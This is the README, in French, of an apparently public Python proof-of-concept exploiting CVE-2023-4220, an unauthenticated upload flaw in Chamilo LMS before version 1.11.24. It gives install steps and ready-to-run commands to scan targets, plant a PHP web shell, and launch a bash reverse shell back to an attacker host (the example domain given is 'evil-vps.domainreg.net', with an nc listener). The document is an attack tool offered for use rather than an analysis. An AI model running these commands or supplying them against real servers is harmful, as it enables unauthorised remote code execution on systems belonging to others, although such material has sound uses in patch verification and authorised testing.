
Ceci est un script écrit en Python qui permet l'exploitation de la faille de sécurité du logiciel LMS Chamilo décrite dans CVE-2023-4220
Ceci est un script écrit en Python qui permet d'exploiter la faille de sécurité du logiciel Chamilo LMS décrite dans CVE-2023-4220. Le système est vulnérable dans les versions antérieures à 1.11.24.
Clonez le dépôt sur votre machine et installez les dépendances à l'aide de pip (il est recommandé d'utiliser virtualenv pour créer un environnement afin de séparer ces installations des installations globales)
git clone https://github.com/m3m0o/chamilo-lms-unauthenticated-big-upload-rce-poc
cd chamilo-lms-unauthenticated-big-upload-rce-poc
pip install -r requirements.txt
Le script nécessite l'URL cible avec le chemin racine de Chamilo (par exemple http://example.com/chamilo, http://example.com ou http://chamilo.example.com) et une action à effectuer (il y en a trois disponibles : scan, webshell et revshell).
Cette action vérifie si la cible est vulnérable en tentant d'accéder au point de terminaison .
python3 main.py -u http://example.com/chamilo -a scan

Cette action crée un fichier webshell PHP dans le point de terminaison vulnérable.
python3 main.py -u http://example.com/chamilo -a webshell

Cette action crée et exécute un fichier reverse shell bash. Pour ce faire, un webshell sera d'abord créé en utilisant la même méthode que celle de l'action précédente. Ensuite, quelques commandes seront exécutées pour créer et exécuter le fichier bash. Assurez-vous d'être à l'écoute sur le port que vous avez défini avec nc ou tout autre utilitaire afin de réellement recevoir la connexion inverse. De plus, l'hôte peut être une adresse IPv4 interne/publique valide (comme 172.17.1.4 ou 186.227.4.31) ou le domaine que vous avez enregistré (comme evil-vps.domainreg.net)
python3 main.py -u http://example.com/chamilo -a revshell

Remarque : Bientôt, j'ajouterai une option de payload Windows pour les hôtes Windows